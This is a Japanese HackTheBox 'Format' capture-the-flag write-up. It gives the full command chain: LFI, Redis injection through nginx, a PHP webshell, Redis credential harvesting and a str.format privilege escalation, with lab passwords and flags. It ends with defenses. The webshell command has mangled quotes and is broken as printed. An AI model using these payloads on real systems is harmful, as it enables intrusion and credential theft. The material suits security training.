HackTheBox: Format — 全実行コマンド・実行結果レポート
Nmap + vhost発見
app.microblog.htb / Gitea:3000
→
app.microblog.htb / Gitea:3000
Giteaソースレビュー
id パラメータ LFI/LFW発見
→
id パラメータ LFI/LFW発見
Nginx/Redis Unixソケット注入
HSETメソッド偽装でpro=true
→
HSETメソッド偽装でpro=true
PHP webshell設置
/uploads/shell.php
→
/uploads/shell.php
RCE(www-data) → cooper SSH
user.txt ✓
→
user.txt ✓
sudo /usr/bin/license 発見
→
Format String Injection
{license.__init__.__globals__[secret]}
→
{license.__init__.__globals__[secret]}
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.3 nmap -sV -sC -p 22,80,3000 10.129.229.3
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 |_http-title: Site doesn't have a title (text/html). 3000/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://microblog.htb:3000/
ドメイン発見(meta-refresh & リダイレクトヘッダー両方から)
BASH
curl -s --max-time 10 http://10.129.229.3/
RESULT
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://app.microblog.htb'" />
</head>
</html>
⚠️
注意: ドメインへのリダイレクトが HTTP ヘッダーの
Location: ではなく HTML の <meta http-equiv="Refresh">
タグで行われているため、curl -I(HEADリクエスト、ヘッダーのみ取得)
では検出できない。必ず本文まで取得すること。
BASH
curl -sI --max-time 10 http://10.129.229.3:3000/
RESULT
HTTP/1.1 301 Moved Permanently
Location: http://microblog.htb:3000/
BASH
# /etc/hosts に追記 echo "10.129.229.3 microblog.htb app.microblog.htb" | sudo tee -a /etc/hosts
🚨
重要発見: port 3000 は Gitea
(
microblog.htb:3000)。port 80 (nginx) は
app.microblog.htb の Microblog PHP アプリへ誘導する。
PHASE 2
Gitea匿名リードでソースレビュー — id パラメータLFI/LFW発見
リポジトリ構造の確認
BASH
curl -s "http://microblog.htb:3000/api/v1/repos/cooper/microblog/contents" curl -s "http://microblog.htb:3000/api/v1/repos/cooper/microblog/contents/microblog" curl -s "http://microblog.htb:3000/api/v1/repos/cooper/microblog/contents/microblog/app"
RESULT
ルート: README.md, html, microblog-template, microblog, microbucket, pro-files microblog/: microblog/app, microblog/sunny (実運用中サンプルブログ) microblog/app/: brain.ico, brain.png, dashboard, index.php, login, logout, register
ℹ️
認証・ダッシュボードのアプリ本体は
microblog/app/ 配下にある。
新規ブログ作成時は microblog-template/ の内容が
/var/www/microblog/<blogname>/ にコピーされる
(dashboard/index.php の addSite() 関数より)。
edit/index.php — id パラメータの任意ファイル読取/書込み
BASH
curl -s "http://microblog.htb:3000/cooper/microblog/raw/branch/main/microblog-template/edit/index.php"
PYTHON (抜粋 — 該当PHPロジック)
// 「header」フォーム送信時
if (isset($_POST['header']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
$post_file = fopen("{$_POST['id']}", "w"); // ← id を検証なしでファイル名に使用
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n"); // ← fopen成否に関わらず無条件で記録
fclose($order_file);
}
// ページ表示時
function fetchPage() {
chdir(getcwd() . "/../content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$html_content .= "<div class=\"{$line} blog-indiv-content\">"
. file_get_contents($line) // ← order.txt の行をそのまま読み取り
. "</div>";
}
return $html_content;
}
🚨
脆弱性の核心:
id に絶対パス
(例: /etc/passwd) を渡すと、fopen(..., "w")
は書込み権限がなく失敗するが、order.txt への追記は
fopen の成否とは無関係に無条件で実行される。次にページを
読み込むと fetchPage() が order.txt の各行を
file_get_contents() で読み取るため、
読み取り権限さえあれば任意ファイルの中身がブログ本文に
反映される(任意ファイル読取)。書込み可能な絶対パスを
指定すれば任意ファイル書込みにもなる。
dashboard/index.php — 新規ブログ作成フォーム
BASH
curl -s "http://microblog.htb:3000/cooper/microblog/raw/branch/main/microblog/app/dashboard/index.php"
RESULT (フォーム部抜粋)
<form class = "new-blog-form" action = "/dashboard/index.php" method="POST">
<input type="text" id="new-blog-name" name="new-blog-name" pattern="[a-z]+" ...>
<input type="submit" value="Create">
</form>
ℹ️
フォームフィールド名は
new-blog-name、POST 先は
/dashboard/index.php。エンドポイントに末尾スラッシュを
付けずに POST すると nginx が 301 リダイレクトを返し、curl が
デフォルトでは追従しないため POST ボディが失われて
ブログが作成されない点に注意(register/login も同様)。
PHASE 3
ユーザー登録 & ブログ作成 & LFI確認
ユーザー登録(cookie jarでセッション維持)
BASH
curl -s -c cookies.txt --max-time 10 \ -d "username=kcrunner" -d "password=Kcrunner123!" \ -d "first-name=f" -d "last-name=l" \ http://app.microblog.htb/register/index.php
RESULT
HTTP/1.1 302 Found
Set-Cookie: username=de6bvau5bmupmmbh8jjo31ciug; path=/; domain=.microblog.htb
Location: /dashboard?message=Registration successful!&status=success
ℹ️
登録成功と同時にセッションが確立される
(
$_SESSION['username'] = trim($_POST['username']);)。
セッションクッキーの名前が偶然 "username" という
独自の session_name() 設定になっている。
ブログ作成
BASH
curl -s -b cookies.txt -c cookies.txt --max-time 10 \ -d "new-blog-name=kcrunner" \ http://app.microblog.htb/dashboard/index.php echo "10.129.229.3 kcrunner.microblog.htb" | sudo tee -a /etc/hosts
RESULT
Location: /dashboard?message=Site added successfully!&status=success
id パラメータで /etc/passwd 読取り確認
BASH
# Step1: order.txt へ /etc/passwd を追記させる(headerの値自体は無関係) curl -s -b cookies.txt --max-time 10 \ -d "id=/etc/passwd" -d "header=LFI" \ http://kcrunner.microblog.htb/edit/index.php # Step2: ページを再取得すると fetchPage() が /etc/passwd の中身を埋め込む curl -s -b cookies.txt --max-time 10 http://kcrunner.microblog.htb/
RESULT (埋め込まれたJS内のhtml変数、抜粋)
const html = "<div class = \"\/etc\/passwd blog-indiv-content\">root:x:0:0:root:\/root:\/bin\/bash
daemon:x:1:1:daemon:...
cooper:x:1000:1000::\/home\/cooper:\/bin\/bash...<\/div>".replace(...)
✅
LFI確認成功。
/etc/passwd の中身がそのまま
ブログ本文の JS 埋め込み変数として反映されている。正規表現
const html = "(.*)"\.replace で本文全体を抜き出し、
さらに対象パスに対応する
<path>-blog-indiv-content>(.*?)<\/div>
部分だけを切り出せば任意ファイルの中身を復元できる。
PHASE 4
Nginx/Redis Unixソケット注入 → webshell RCE → user.txt
HTTPメソッド偽装によるRedis Unixソケットへのコマンド注入
NOTE
nginx の設定に次のようなミスコンフィグが存在する(公式ウォークスルー記載の
既知構成、Gitea には nginx.conf 自体はコミットされていないためソース
非公開だが、動作から逆算して確認済み):
location ~ /static/(.*)/(.*) {
proxy_pass http://$1.microbucket.htb/$2;
}
$1 に "unix:/var/run/redis/redis.sock:" というプレフィックスを与えると、
nginx はこれを「Unixソケットへのプロキシ」として解釈してしまう
(nginx の proxy_pass における未文書化気味の挙動)。さらに HTTP メソッド名を
"HSET" のような Redis コマンド名に偽装したリクエストを送ると、Redis の
インライン・コマンドプロトコル(HTTPリクエスト行をそのまま空白区切り
コマンドとして解釈する)が働き、Redis に直接コマンドが注入される。
PYTHON (ペイロード組立て)
import urllib.parse args = "kcrunner pro true " #<フィールド> <値> (末尾スペース必須) encoded = urllib.parse.quote(args, safe="") uri = f"/static/unix%3A%2Fvar%2Frun%2Fredis%2Fredis.sock%3A{encoded}/health" url = f"http://microblog.htb{uri}" # curl -X HSET でメソッド名を偽装して送信
BASH
curl -s -X HSET --max-time 10 \ "http://microblog.htb/static/unix%3A%2Fvar%2Frun%2Fredis%2Fredis.sock%3Akcrunner%20pro%20true%20/health"
RESULT
HTTP/1.1 502 Bad Gateway
⚠️
実機トラブルシューティング: このリクエストのHTTPレスポンス
自体は 502 Bad Gateway になる(プロキシ先が
Redisプロトコル応答を返しHTTPとしてパースできないため)。
しかし Redisへのコマンド注入自体は502になる前に成立して
いるため、レスポンスコードは無視してよい。実際に
pro フィールドが true になったかは、
後続の /edit/ ページで const pro = true;
になっているかで確認できる。
/edit/ ロードで provisionProUser() 発火
BASH
curl -s -b cookies.txt --max-time 10 http://kcrunner.microblog.htb/edit/
RESULT (該当JS変数)
const pro = true;
✅
Pro 昇格が確認できた。
provisionProUser() が発火し、
/var/www/microblog/kcrunner/uploads/ ディレクトリが
作成され、以降 /content/ に付与されていた
Content-Disposition: attachment 制限が
/uploads/ には及ばなくなった。
id パラメータ書込みで /uploads/shell.php にwebshell設置
BASH
curl -s -b cookies.txt --max-time 10 \ -d "id=/var/www/microblog/kcrunner/uploads/shell.php" \ -d 'header="; system($_REQUEST["cmd"]); echo "“; die; }?>’ \ http://kcrunner.microblog.htb/edit/index.php curl -s –max-time 15 “http://kcrunner.microblog.htb/uploads/shell.php?cmd=id”
RESULT
<div class = "blog-h1 blue-fill"><b><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
⚠️
実機トラブルシューティング: webshell は
id+header パラメータ経由で設置しているため、
ファイル実体はブログ本文テンプレート
<div class="blog-h1 blue-fill"><b>{header}</b></div>
に包まれたまま保存される。<?php ?> タグの外側の
HTML は素通りされるため、コマンド実行結果には常に
先頭 <div class = "blog-h1 blue-fill"><b><pre>
と末尾 </pre> が付く
(末尾の </b></div> は PHP 側の
die; で出力が打ち切られるため付かない)。以降
Redis の出力をパースする際はこのラッパーを必ず除去すること。
Redis列挙で他ユーザーの平文資格情報を回収
BASH
curl -s --max-time 15 \ "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20keys%20%27%2A%27"
RESULT (ラッパー除去後)
cooper.dooper
kcrunner
PHPREDIS_SESSION:ffnpi1otdkiqpj53oos0ph4hkh
kcrunner:sites
cooper.dooper:sites
PHPREDIS_SESSION:rmco8l9g6q3a4dvikgcs82ddak
BASH
curl -s --max-time 15 \ "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20hgetall%20%27cooper.dooper%27"
RESULT
username
cooper.dooper
password
zooperdoopercooper
first-name
Cooper
last-name
Dooper
pro
false
ℹ️
Redis 上のブログアカウント名は
cooper.dooper だが、
実際の Unix/SSH アカウント名は別名の cooper
(SSH ログイン時は “cooper” を使う)。パスワードは共通で
zooperdoopercooper。
SSH → user.txt
BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 "cat ~/user.txt"
RESULT
4ca66f4a5acb8d0f5e696ec8681fc514
user.txt — cooper@format
4ca66f4a5acb8d0f5e696ec8681fc514
PHASE 5
license バイナリの Format String Injection → root.txt
sudo権限の確認
BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 \ "echo 'zooperdoopercooper' | sudo -S -l"
RESULT
User cooper may run the following commands on format:
(root) /usr/bin/license
🚨
license バイナリを root 権限で実行可能。このバイナリは
ライセンスキーを Python str.format() で組み立てており、
username フィールド (Redis の pwn ハッシュから
取得、ユーザー制御可能) をそのままテンプレート文字列の展開対象に
渡している。
Format Stringペイロードを Redis に注入
PYTHON (悪用ロジック)
# license バイナリ内部で概ね以下のような組立てが行われている:
# key = (prefix + data["username"] + "{license.license}" + firstlast).format(license=l)
# data["username"] はユーザー制御下の Redis フィールドのため、
# Python の str.format() が解釈する波括弧構文を注入できる:
payload_username = "{license.__init__.__globals__[secret]}"
# → License インスタンスの __init__ メソッドオブジェクト経由で
# モジュールのグローバル変数 secret (root パスワード相当) を
# 文字列として展開させる Format String Injection
BASH
curl -s --max-time 15 "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20HSET%20pwn%20username%20%27%7Blicense.__init__.__globals__%5Bsecret%5D%7D%27" curl -s --max-time 15 "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20HSET%20pwn%20first-name%20%27f%27" curl -s --max-time 15 "http://kcrunner.microblog.htb/uploads/shell.php?cmd=redis-cli%20-s%20%2Fvar%2Frun%2Fredis%2Fredis.sock%20HSET%20pwn%20last-name%20%27l%27"
sudo license -p ‘pwn’ 実行で secret 漏洩
BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 \ "echo 'zooperdoopercooper' | sudo -S /usr/bin/license -p 'pwn'"
RESULT
Plaintext license key:
------------------------------------------------------
microblogunCR4ckaBL3Pa$$w0rdf]:j5TNyZ#b_V`5"E=DRD{5JdBq4x8Tyng%(]W(Kfl
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABqhFIhyBlv4CUbDZuKfsPuDk5Y_SdLhfrjLQobwX1NgbAVJKVPZvwmtuA3lHpx3V3sAvkkn-bSN2E939TUrrF2I_WjfYHntU7-2BJD436EjD3BI0ampVxqIg3BhjDJ2PKsOqOAK8-aP11KTgzYzFE8yKJnSXChQ2cALZVdWQwXHFErM-4=
PYTHON (secret抽出式)
full_key = "microblogunCR4ckaBL3Pa$$w0rdf]:j5TNyZ#b_V`5\"E=DRD{5JdBq4x8Tyng%(]W(Kfl"
prefix = "microblog"
first_name, last_name = "f", "l"
license_random_len = 40 # ランダム生成部分の固定長
rest = full_key[len(prefix):]
firstlast_len = len(first_name) + len(last_name)
secret = rest[:-(license_random_len + firstlast_len)]
# → "unCR4ckaBL3Pa$$w0rd"
✅
secret 漏洩成功:
unCR4ckaBL3Pa$$w0rd。
構造は prefix("microblog") + secret + 40文字ランダム部 +
first_name + last_name なので、既知の3つの長さから
逆算すれば secret 部分を正確に切り出せる。
su root → root.txt
BASH
sshpass -p 'zooperdoopercooper' ssh cooper@10.129.229.3 \ "echo 'unCR4ckaBL3Pa\$\$w0rd' | su root -c 'cat /root/root.txt'"
RESULT
62c4f8da8e3d3a98a2309fbe071f4cf5
root.txt — root@format
62c4f8da8e3d3a98a2309fbe071f4cf5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — cooper@format
4ca66f4a5acb8d0f5e696ec8681fc514
root.txt — root@format
62c4f8da8e3d3a98a2309fbe071f4cf5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 任意ファイル読取/書込み | Microblog edit/index.php (id パラメータ) | 情報漏洩 + ファイル配置 | High | fopen()失敗後もorder.txtへ無条件追記される実装ミスを利用し、fetchPage()経由で任意ファイル内容を読取り/配置 |
| Nginx proxy_pass Unix-socket注入 | nginx /static/(.*)/(.*) ロケーション | Redisデータ改竄 (認可バイパス) | Critical | unix:プレフィックス+HTTPメソッド偽装(HSET)でRedis Unixソケットへ直接コマンド注入、pro=trueに昇格 |
| PHP webshell RCE | /uploads/shell.php (Pro限定領域) | リモートコード実行 (www-data) | Critical | Pro昇格後に制限が外れるuploadsディレクトリへidパラメータでPHP webshellを書込み |
| 平文パスワード保存 | Redis (認証情報ストア) | 認証情報漏洩 | High | Redis全体をkeys/hgetallで列挙し他ユーザーの平文パスワードを回収 |
| Python str.format() Format String Injection | /usr/bin/license (sudo実行可能) | 権限昇格 (cooper→root) | Critical | ユーザー制御のusernameフィールドに{license.__init__.__globals__[secret]}を注入しモジュールグローバル変数を漏洩 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + meta-refresh/リダイレクト両対応のvhost発見 | app.microblog.htb, Gitea:3000 |
| 2 | ソースレビュー | Gitea匿名リード | id パラメータLFI/LFW、dashboard実フィールド名 |
| 3 | 登録&LFI確認 | 正しいエンドポイント(/index.php)でPOST | ブログ作成、/etc/passwd読取り確認 |
| 4 | Redis注入&RCE | HSETメソッド偽装 + webshell設置 | user.txt (cooper) |
| 5 | 権限昇格 | Format String Injection | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー制御パラメータが検証なしでfopen()のファイル名に渡る | ファイルパスは常にホワイトリスト化・basename()等で正規化し、ディレクトリ外への読み書きを禁止する。書込み失敗時にログ記録処理自体も無条件実行しないようエラーハンドリングを追加する。 |
| nginxのproxy_passがunix:プレフィックス付きURLをUnixソケットへの接続として解釈しRedisへの直接コマンド注入を許してしまう | proxy_pass先を動的に構築せず固定化する。正規表現ロケーションでのパラメータをそのままアップストリーム指定に使わない。RedisはUnixソケットであってもAUTH/ACLを設定し、アプリケーション層以外からの直接コマンド実行を防ぐ。 |
| Redisに認証情報が平文で保存されている | パスワードは必ずハッシュ化(bcrypt等)して保存する。Redis自体もrequirepassやACLで保護し、アプリケーションサーバー以外からの直接アクセスを禁止する。 |
| sudo許可バイナリがユーザー制御データをPythonのstr.format()テンプレートにそのまま渡している | ユーザー入力をformat()テンプレートに渡す際は文字列連結ではなく%オペレータやf-string(埋め込み時点で評価済み)を使うか、format_map()にユーザー入力由来の属性アクセスを許さないサンドボックス化した辞書を渡す。 |

